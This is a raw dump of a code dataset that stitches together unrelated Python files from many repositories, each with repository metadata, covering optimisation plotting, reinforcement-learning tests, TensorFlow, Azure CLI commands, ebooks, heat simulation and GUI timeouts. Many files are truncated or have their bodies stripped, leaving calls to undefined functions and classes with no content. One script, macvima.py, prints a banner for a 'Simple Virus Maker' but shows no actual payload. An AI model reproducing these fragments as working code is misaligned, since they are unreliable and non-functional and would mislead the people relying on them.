10d693bbc04e6b89a7ce15d2dc9797cec2a553b7
[ "Apache-2.0" ]
null
null
null
from .hash import HashUtil from .log import log, LogUtil from .choice import Choice, ChoiceUtil from .parameter_keys import ParameterKeys from .page import PageAdapter, Page, PageListABC from .response import get_serializer_error_code
33.571429
48
0.838298
617a966d2ec2515454023b0e3b38beba6de4a70c
3,164
py
Python
SUAVE/SUAVE-2.5.0/trunk/SUAVE/Optimization/line_plot.py
Vinicius-Tanigawa/Undergraduate-Research-Project
e92372f07882484b127d7affe305eeec2238b8a9
[ "MIT" ]
null
null
null
SUAVE/SUAVE-2.5.0/trunk/SUAVE/Optimization/line_plot.py
Vinicius-Tanigawa/Undergraduate-Research-Project
e92372f07882484b127d7affe305eeec2238b8a9
[ "MIT" ]
null
null
null
SUAVE/SUAVE-2.5.0/trunk/SUAVE/Optimization/line_plot.py
Vinicius-Tanigawa/Undergraduate-Research-Project
e92372f07882484b127d7affe305eeec2238b8a9
[ "MIT" ]
null
null
null
## @ingroup Optimization # line_plot.py # # Created: Oct 2017, M. Vegh # Modified: Nov 2017, M. Vegh # May 2021, E. Botero # ---------------------------------------------------------------------- # Imports # ------------------------------------------- from SUAVE.Core import Data import numpy as np imp...
28.763636
116
0.523704
617acae417a764a9156239c61c9cc59f10cf60e7
4,725
py
Python
tests/models/torch/q_functions/test_qr_q_function.py
ningyixue/AIPI530_Final_Project
b95353ffd003692a37a59042dfcd744a18b7e802
[ "MIT" ]
565
2020-08-01T02:44:28.000Z
2022-03-30T15:00:54.000Z
tests/models/torch/q_functions/test_qr_q_function.py
ningyixue/AIPI530_Final_Project
b95353ffd003692a37a59042dfcd744a18b7e802
[ "MIT" ]
144
2020-08-01T03:45:10.000Z
2022-03-30T14:51:16.000Z
tests/models/torch/q_functions/test_qr_q_function.py
ningyixue/AIPI530_Final_Project
b95353ffd003692a37a59042dfcd744a18b7e802
[ "MIT" ]
103
2020-08-26T13:27:34.000Z
2022-03-31T12:24:27.000Z
import numpy as np import pytest import torch from d3rlpy.models.torch import ContinuousQRQFunction, DiscreteQRQFunction from d3rlpy.models.torch.q_functions.qr_q_function import _make_taus from d3rlpy.models.torch.q_functions.utility import ( pick_quantile_value_by_action, ) from ..model_test import ( DummyE...
35
79
0.699471
617be70d6fecc6506f598c0678a0433f7d103f61
1,636
py
Python
tensorflow/contrib/tensor_forest/hybrid/python/hybrid_layer.py
uve/tensorflow
e08079463bf43e5963acc41da1f57e95603f8080
[ "Apache-2.0" ]
6
2022-02-04T18:12:24.000Z
2022-03-21T23:57:12.000Z
Lib/site-packages/tensorflow/contrib/tensor_forest/hybrid/python/hybrid_layer.py
shfkdroal/Robot-Learning-in-Mixed-Adversarial-and-Collaborative-Settings
1fa4cd6a566c8745f455fc3d2273208f21f88ced
[ "bzip2-1.0.6" ]
1
2021-05-20T00:58:04.000Z
2021-05-20T00:58:04.000Z
Lib/site-packages/tensorflow/contrib/tensor_forest/hybrid/python/hybrid_layer.py
shfkdroal/Robot-Learning-in-Mixed-Adversarial-and-Collaborative-Settings
1fa4cd6a566c8745f455fc3d2273208f21f88ced
[ "bzip2-1.0.6" ]
1
2022-02-08T03:53:23.000Z
2022-02-08T03:53:23.000Z
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by...
38.952381
85
0.690709
617d27d4548b76f46d756f8b92e2089d0b92bead
2,553
py
Python
src/webpubsub/azext_webpubsub/commands.py
sanmishra18/azure-cli-extensions
05499b7931a1fe4cd4536a6b83fa4f8f13663996
[ "MIT" ]
null
null
null
src/webpubsub/azext_webpubsub/commands.py
sanmishra18/azure-cli-extensions
05499b7931a1fe4cd4536a6b83fa4f8f13663996
[ "MIT" ]
1
2020-07-30T06:44:01.000Z
2020-07-30T06:44:01.000Z
src/webpubsub/azext_webpubsub/commands.py
Juliehzl/azure-cli-extensions
b0b33f4d45c2e4c50ece782851291d967e1f36e2
[ "MIT" ]
1
2020-11-09T17:17:42.000Z
2020-11-09T17:17:42.000Z
# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # --------------------------------------------------------------------...
42.55
94
0.655307
617ec542b17aa0614e17eb7e4ef071d83563f0fa
5,730
py
Python
wte/src/ebook.py
webalorn/web-to-ebook
19ca8810ad1da04dda7e348c709fa93e56f48377
[ "MIT" ]
null
null
null
wte/src/ebook.py
webalorn/web-to-ebook
19ca8810ad1da04dda7e348c709fa93e56f48377
[ "MIT" ]
null
null
null
wte/src/ebook.py
webalorn/web-to-ebook
19ca8810ad1da04dda7e348c709fa93e56f48377
[ "MIT" ]
null
null
null
import json import datetime import imghdr import os from ebooklib import epub from .util import Log, do_hash, downoad_image, format_filename from .util import ImageData, TmpImageData
29.536082
92
0.549215
617f4db708e6677801930a8cb78c9f9531107ac6
537
py
Python
Curso_Python/funcoes.py
FranciscoCabrita1/Cabrita
af9dfb12dbc64cf6181d4e906156170c5449877e
[ "MIT" ]
5
2020-08-24T23:29:58.000Z
2022-02-07T19:58:07.000Z
Curso_Python/funcoes.py
lulavalenca/Curso-Completo-de-Python-no-Youtube
af9dfb12dbc64cf6181d4e906156170c5449877e
[ "MIT" ]
null
null
null
Curso_Python/funcoes.py
lulavalenca/Curso-Completo-de-Python-no-Youtube
af9dfb12dbc64cf6181d4e906156170c5449877e
[ "MIT" ]
2
2020-08-24T23:30:06.000Z
2021-12-23T18:23:38.000Z
soma = soma(5,3) sub = sub(10,7) mult = mult(2,5) div = div(20,4) conta_final = mult + sub print(conta_final)
15.794118
30
0.621974
617fe9d2491f54f1bdb39bd1f350bb89243e2b5c
2,510
py
Python
setup.py
all-in-one-of/vfxwindow
247571512ffbfd4deb2ba505a75c5de658efffbd
[ "MIT" ]
null
null
null
setup.py
all-in-one-of/vfxwindow
247571512ffbfd4deb2ba505a75c5de658efffbd
[ "MIT" ]
null
null
null
setup.py
all-in-one-of/vfxwindow
247571512ffbfd4deb2ba505a75c5de658efffbd
[ "MIT" ]
1
2021-02-17T00:00:10.000Z
2021-02-17T00:00:10.000Z
import os from setuptools import setup, find_packages # Get the README.md text with open(os.path.join(os.path.dirname(__file__), 'README.md'), 'r') as f: readme = f.read() # Parse vfxwindow/__init__.py for a version with open(os.path.join(os.path.dirname(__file__), 'vfxwindow/__init__.py'), 'r') as f: for li...
39.21875
104
0.604781
618125d2be7dce4de9f6012471e1a0187416e62e
1,085
py
Python
tests/tamr_client/dataset/test_unified.py
ianbakst/tamr-client
ae7a6190a2251d31f973f9d5a7170ac5dc097f97
[ "Apache-2.0" ]
9
2019-08-13T11:07:06.000Z
2022-01-14T18:15:13.000Z
tests/tamr_client/dataset/test_unified.py
ianbakst/tamr-client
ae7a6190a2251d31f973f9d5a7170ac5dc097f97
[ "Apache-2.0" ]
166
2019-08-09T18:51:05.000Z
2021-12-02T15:24:15.000Z
tests/tamr_client/dataset/test_unified.py
ianbakst/tamr-client
ae7a6190a2251d31f973f9d5a7170ac5dc097f97
[ "Apache-2.0" ]
21
2019-08-12T15:37:31.000Z
2021-06-15T14:06:23.000Z
import pytest import tamr_client as tc from tests.tamr_client import fake
26.463415
68
0.693088
6182c969ad7fb85cbef2147f3700b1928d79dc52
827
py
Python
benchmarks/cof/benchmark_kagome.py
andrewtarzia/stk
1ac2ecbb5c9940fe49ce04cbf5603fd7538c475a
[ "MIT" ]
21
2018-04-12T16:25:24.000Z
2022-02-14T23:05:43.000Z
benchmarks/cof/benchmark_kagome.py
JelfsMaterialsGroup/stk
0d3e1b0207aa6fa4d4d5ee8dfe3a29561abb08a2
[ "MIT" ]
8
2019-03-19T12:36:36.000Z
2020-11-11T12:46:00.000Z
benchmarks/cof/benchmark_kagome.py
supramolecular-toolkit/stk
0d3e1b0207aa6fa4d4d5ee8dfe3a29561abb08a2
[ "MIT" ]
5
2018-08-07T13:00:16.000Z
2021-11-01T00:55:10.000Z
from __future__ import annotations import pytest import stk
20.170732
59
0.61185
61834390d44ad5f3b9dd369dbaaec75a4acc533c
363
py
Python
intro/part05-03_go/src/go.py
Hannah-Abi/python-pro-21
2ce32c4bf118054329d19afdf83c50561be1ada8
[ "MIT" ]
null
null
null
intro/part05-03_go/src/go.py
Hannah-Abi/python-pro-21
2ce32c4bf118054329d19afdf83c50561be1ada8
[ "MIT" ]
null
null
null
intro/part05-03_go/src/go.py
Hannah-Abi/python-pro-21
2ce32c4bf118054329d19afdf83c50561be1ada8
[ "MIT" ]
null
null
null
# Write your solution here
22.6875
30
0.490358
61844ed5b13cdfaa913f4dc893bd0de862df86b6
4,538
py
Python
model_compress/distil/theseus/classifier.py
Oneflow-Inc/Oneflow-Model-Compression
1a346fa0a586ee0277814ecb56e5bee772d9bb05
[ "Apache-2.0" ]
4
2021-03-19T02:40:41.000Z
2022-01-10T15:25:47.000Z
model_compress/distil/theseus/classifier.py
Oneflow-Inc/Oneflow-Model-Compression
1a346fa0a586ee0277814ecb56e5bee772d9bb05
[ "Apache-2.0" ]
1
2022-03-04T07:19:43.000Z
2022-03-04T07:19:43.000Z
model_compress/distil/theseus/classifier.py
Oneflow-Inc/Oneflow-Model-Compression
1a346fa0a586ee0277814ecb56e5bee772d9bb05
[ "Apache-2.0" ]
3
2021-03-19T02:40:46.000Z
2021-08-10T06:42:17.000Z
""" Copyright 2020 The OneFlow Authors. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agr...
35.732283
92
0.697223
618468ad6f14a6779b255dc46c34d2d8d1593c9f
3,027
py
Python
learned_control.py
roatienza/gym-miniworld
2c377975e34ab588900a3c019ade126f14336610
[ "Apache-2.0" ]
null
null
null
learned_control.py
roatienza/gym-miniworld
2c377975e34ab588900a3c019ade126f14336610
[ "Apache-2.0" ]
null
null
null
learned_control.py
roatienza/gym-miniworld
2c377975e34ab588900a3c019ade126f14336610
[ "Apache-2.0" ]
null
null
null
""" This script allows a trained policy to control the simulator. Usage: """ import sys import argparse import pyglet import math from pyglet import clock import numpy as np import gym import gym_miniworld import torch from policy import DDPGActor import os os.environ["KMP_DUPLICATE_LIB_OK"]="TRUE" device = torch...
25.436975
108
0.664024
61868506a540e6d64a7676c2f81831e96a954fd0
7,000
py
Python
welib/beams/theory.py
moonieann/welib
0e430ad3ca034d0d2d60bdb7bbe06c947ce08f52
[ "MIT" ]
24
2019-07-24T23:37:10.000Z
2022-03-30T20:40:40.000Z
welib/beams/theory.py
moonieann/welib
0e430ad3ca034d0d2d60bdb7bbe06c947ce08f52
[ "MIT" ]
null
null
null
welib/beams/theory.py
moonieann/welib
0e430ad3ca034d0d2d60bdb7bbe06c947ce08f52
[ "MIT" ]
11
2019-03-14T13:47:04.000Z
2022-03-31T15:47:27.000Z
import numpy as np import scipy.optimize as sciopt def UniformBeamBendingModes(Type,EI,rho,A,L,w=None,x=None,Mtop=0,norm='tip_norm',nModes=4): """ returns Mode shapes and frequencies for a uniform beam in bending References: Inman : Engineering variation Author: E. Branlard""" if x is N...
40.462428
143
0.503286
6189d5672ebf077fa41e985fa4017fb1eed01eb4
2,095
py
Python
Simulacoes_Mdf/calor1d-mdf.py
Devsart/MecFlu-TransCal-Comp-EM
65997ad52decbd18ed9f2cba24773831a60821cd
[ "MIT" ]
2
2021-11-17T15:36:11.000Z
2022-03-22T03:10:34.000Z
Simulacoes_Mdf/calor1d-mdf.py
Devsart/MecFlu-TransCal-Comp-EM
65997ad52decbd18ed9f2cba24773831a60821cd
[ "MIT" ]
null
null
null
Simulacoes_Mdf/calor1d-mdf.py
Devsart/MecFlu-TransCal-Comp-EM
65997ad52decbd18ed9f2cba24773831a60821cd
[ "MIT" ]
null
null
null
## =================================================================== ## # this is file calor1d-mdf.py, created at 10-Aug-2021 # # maintained by Gustavo Rabello dos Anjos # # e-mail: gustavo.rabello@gmail.com # ## =======================...
24.940476
73
0.500716
618ade09c95d4239170873da2e9d324707a951ba
3,115
py
Python
gym_reinmav/envs/mujoco/mujoco_quad.py
peterminh227/reinmav-gym
518122b16b86d59f744b3116e6187dafd49a3de4
[ "BSD-3-Clause" ]
60
2019-03-08T21:14:38.000Z
2022-01-23T20:43:21.000Z
gym_reinmav/envs/mujoco/mujoco_quad.py
peterminh227/reinmav-gym
518122b16b86d59f744b3116e6187dafd49a3de4
[ "BSD-3-Clause" ]
8
2019-03-09T09:09:38.000Z
2022-03-25T15:36:51.000Z
gym_reinmav/envs/mujoco/mujoco_quad.py
peterminh227/reinmav-gym
518122b16b86d59f744b3116e6187dafd49a3de4
[ "BSD-3-Clause" ]
22
2019-03-08T19:47:49.000Z
2022-03-29T09:14:01.000Z
# ********************************************************************** # # Copyright (c) 2019, Autonomous Systems Lab # Author: Dongho Kang <eastsky.kang@gmail.com> # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # ...
36.647059
80
0.669342
618bc5da5028f8a5ae914bfcd162c1293c24f9e3
1,130
py
Python
scripts/sup13b.py
seqcode/multimds
8dbda98675a6d20bcecb76ab85ea8fd1571b4da3
[ "MIT" ]
1
2019-10-29T12:33:57.000Z
2019-10-29T12:33:57.000Z
scripts/sup13b.py
seqcode/multimds
8dbda98675a6d20bcecb76ab85ea8fd1571b4da3
[ "MIT" ]
null
null
null
scripts/sup13b.py
seqcode/multimds
8dbda98675a6d20bcecb76ab85ea8fd1571b4da3
[ "MIT" ]
null
null
null
from matplotlib import pyplot as plt import numpy as np gene_names = ("Hxt1", "Has1", "Tda1", "Gal1", "Gal7", "Gal10", "Gal3", "Gal4", "Gal2") sgds = np.array(["YHR094C", "YMR290C", "YMR291W", "YBR020W", "YBR018C", "YBR019C", "YDR009W", "YPL248C", "YLR081W"]) logfcs = np.zeros((len(sgds), 1)) with open("rnaseq_counts...
35.3125
116
0.669912
618cb0aba3761441ae45aecbf80394c671104e77
1,221
py
Python
NBABet/Api.py
davideganna/NBA_Bet
dba00542b8ed63a5a7290f25209270b32d18fb86
[ "MIT" ]
4
2021-08-02T07:49:51.000Z
2021-12-14T18:49:27.000Z
NBABet/Api.py
davideganna/NBA_Bet
dba00542b8ed63a5a7290f25209270b32d18fb86
[ "MIT" ]
1
2021-08-03T14:55:13.000Z
2021-08-03T14:55:13.000Z
NBABet/Api.py
davideganna/NBA_Bet
dba00542b8ed63a5a7290f25209270b32d18fb86
[ "MIT" ]
null
null
null
from datetime import datetime, time, timedelta import requests
33
92
0.568387
618e5e92671550304fe7e2988adbd2203a5edaeb
78
py
Python
backend/backend/settings/__init__.py
pvgupta24/CryptoWill
d7fe3aaa220e4540d81607ba1b55dea4e37e4baa
[ "MIT" ]
1
2020-02-03T11:55:38.000Z
2020-02-03T11:55:38.000Z
backend/backend/settings/__init__.py
pvgupta24/CryptoWill
d7fe3aaa220e4540d81607ba1b55dea4e37e4baa
[ "MIT" ]
10
2019-08-04T06:10:31.000Z
2022-02-12T18:17:12.000Z
backend/backend/settings/__init__.py
pvgupta24/CryptoWill
d7fe3aaa220e4540d81607ba1b55dea4e37e4baa
[ "MIT" ]
2
2019-08-07T19:47:28.000Z
2020-09-24T00:09:21.000Z
try: from .local import * except Exception: from .production import *
15.6
29
0.679487
6190b9256d260af348eecbf353cef77fea75bac1
18,619
py
Python
lib/data/PTFTrainDataset.py
KORguy/PIFu_Part
bd199d439a94f8bc8b4036898b0f1ec01e56ab9e
[ "MIT" ]
null
null
null
lib/data/PTFTrainDataset.py
KORguy/PIFu_Part
bd199d439a94f8bc8b4036898b0f1ec01e56ab9e
[ "MIT" ]
null
null
null
lib/data/PTFTrainDataset.py
KORguy/PIFu_Part
bd199d439a94f8bc8b4036898b0f1ec01e56ab9e
[ "MIT" ]
null
null
null
from torch.utils.data import Dataset import numpy as np import os import random import torchvision.transforms as transforms from PIL import Image, ImageOps import cv2 import torch from PIL.ImageFilter import GaussianBlur import trimesh import logging import json from math import sqrt import datetime log = logging.getL...
40.127155
128
0.576669
61931b1ad82c48c08668bff66dafa37dd46511d7
1,452
py
Python
corehq/apps/app_manager/management/commands/migrate_template_apps_form_ids.py
johan--/commcare-hq
86ee99c54f55ee94e4c8f2f6f30fc44e10e69ebd
[ "BSD-3-Clause" ]
null
null
null
corehq/apps/app_manager/management/commands/migrate_template_apps_form_ids.py
johan--/commcare-hq
86ee99c54f55ee94e4c8f2f6f30fc44e10e69ebd
[ "BSD-3-Clause" ]
1
2022-03-12T01:03:25.000Z
2022-03-12T01:03:25.000Z
corehq/apps/app_manager/management/commands/migrate_template_apps_form_ids.py
johan--/commcare-hq
86ee99c54f55ee94e4c8f2f6f30fc44e10e69ebd
[ "BSD-3-Clause" ]
null
null
null
import re from corehq.apps.app_manager.management.commands.helpers import AppMigrationCommandBase from corehq.apps.app_manager.models import Application, load_app_template, ATTACHMENT_REGEX from corehq.apps.app_manager.util import update_unique_ids from corehq.apps.es import AppES
33.767442
91
0.681818
6193bfee1768facfda0ce3e818f38f6c1211a5c7
35
py
Python
simeeg/__init__.py
balandongiv/simeeg
5af28e4cf7352c3d7d1072843675d83077994be2
[ "MIT" ]
null
null
null
simeeg/__init__.py
balandongiv/simeeg
5af28e4cf7352c3d7d1072843675d83077994be2
[ "MIT" ]
null
null
null
simeeg/__init__.py
balandongiv/simeeg
5af28e4cf7352c3d7d1072843675d83077994be2
[ "MIT" ]
null
null
null
from .create_epoch import sim_data
17.5
34
0.857143
61968ddb7de4d43cb380b5c4ce7a1cead3ca1554
1,582
py
Python
tool/macvima.py
MrWhiteSoul/WannaTool
78df7eee605367d04e3e77bfa5865afda680eb4f
[ "MIT" ]
70
2020-04-10T09:50:57.000Z
2022-03-31T23:26:46.000Z
tool/macvima.py
Acc3ssGr4nt3d/WannaTool
5aba765597f35e221e619c231890fb3af9fc156e
[ "MIT" ]
1
2021-12-12T12:20:17.000Z
2021-12-12T12:22:31.000Z
tool/macvima.py
Acc3ssGr4nt3d/WannaTool
5aba765597f35e221e619c231890fb3af9fc156e
[ "MIT" ]
19
2020-04-10T06:26:56.000Z
2022-03-20T03:08:54.000Z
import os, sys R = '\x1b[1;31m' N = '\x1b[0m' Y = '\x1b[1;33m' G = '\x1b[1;37m' print '%s+---------------------------------------------------+%s' % (R, N) print '%s||[#]%s--------------%s[ VBug Maker ]%s---------------%s[#]||%s' % (Y, R, Y, R, Y, N) print '%s||%s |___________%s[ Simple Virus Maker ]%s____________|%s ||...
51.032258
132
0.487358
6196974d359ee517dc4c5d99b45a48b0d864e2dc
3,131
py
Python
vouchers/forms.py
mnalam30/django-online-shopping
e6ee11b79cb70390e55063624de5afe5a55dfb6c
[ "Apache-2.0" ]
1
2021-03-04T13:41:46.000Z
2021-03-04T13:41:46.000Z
vouchers/forms.py
mnalam30/django-online-shopping
e6ee11b79cb70390e55063624de5afe5a55dfb6c
[ "Apache-2.0" ]
null
null
null
vouchers/forms.py
mnalam30/django-online-shopping
e6ee11b79cb70390e55063624de5afe5a55dfb6c
[ "Apache-2.0" ]
null
null
null
from django import forms from django.utils.translation import ugettext_lazy as _ from .models import Voucher, VoucherUser, Campaign from .settings import VOUCHER_TYPES
46.731343
122
0.647716
61970ad9c7f8e5b9b733cf5f5d1fca63b77e8dc8
603
py
Python
alembic/versions/5a99c71e171_position.py
wenbs/mptracker
e011ab11954bbf785ae11fea7ed977440df2284a
[ "MIT" ]
4
2015-01-20T15:03:15.000Z
2017-03-15T09:56:07.000Z
alembic/versions/5a99c71e171_position.py
wenbs/mptracker
e011ab11954bbf785ae11fea7ed977440df2284a
[ "MIT" ]
3
2021-03-31T18:53:12.000Z
2022-03-21T22:16:35.000Z
alembic/versions/5a99c71e171_position.py
wenbs/mptracker
e011ab11954bbf785ae11fea7ed977440df2284a
[ "MIT" ]
6
2015-12-13T08:56:49.000Z
2021-08-07T20:36:29.000Z
revision = '5a99c71e171' down_revision = '1b8378b8914' from alembic import op import sqlalchemy as sa from sqlalchemy.dialects import postgresql
27.409091
69
0.6733
61975dd02f9311f448952592cb72dfbe22211c3e
3,401
py
Python
ipfshttpclient/client/p2p.py
emendir/py-ipfs-http-client
2d7c113a14841295059e098836ab29f8cadc6b88
[ "MIT" ]
null
null
null
ipfshttpclient/client/p2p.py
emendir/py-ipfs-http-client
2d7c113a14841295059e098836ab29f8cadc6b88
[ "MIT" ]
null
null
null
ipfshttpclient/client/p2p.py
emendir/py-ipfs-http-client
2d7c113a14841295059e098836ab29f8cadc6b88
[ "MIT" ]
null
null
null
import typing as ty from . import base
32.084906
142
0.57042
61976d319862419967d46e66ec95fec2253bac78
2,562
py
Python
teek/_timeouts.py
Akuli/tkinder
c360fbfe086ca09cdd856a8636de05b24e1b7093
[ "MIT" ]
23
2019-01-15T00:07:30.000Z
2022-01-18T06:19:18.000Z
teek/_timeouts.py
Akuli/tkinder
c360fbfe086ca09cdd856a8636de05b24e1b7093
[ "MIT" ]
12
2019-01-13T19:51:52.000Z
2021-05-17T17:55:51.000Z
teek/_timeouts.py
Akuli/pythotk
c360fbfe086ca09cdd856a8636de05b24e1b7093
[ "MIT" ]
7
2019-01-13T19:48:26.000Z
2021-04-21T13:30:21.000Z
import teek from teek._tcl_calls import make_thread_safe # there's no after_info because i don't see how it would be useful in # teek
32.025
77
0.635441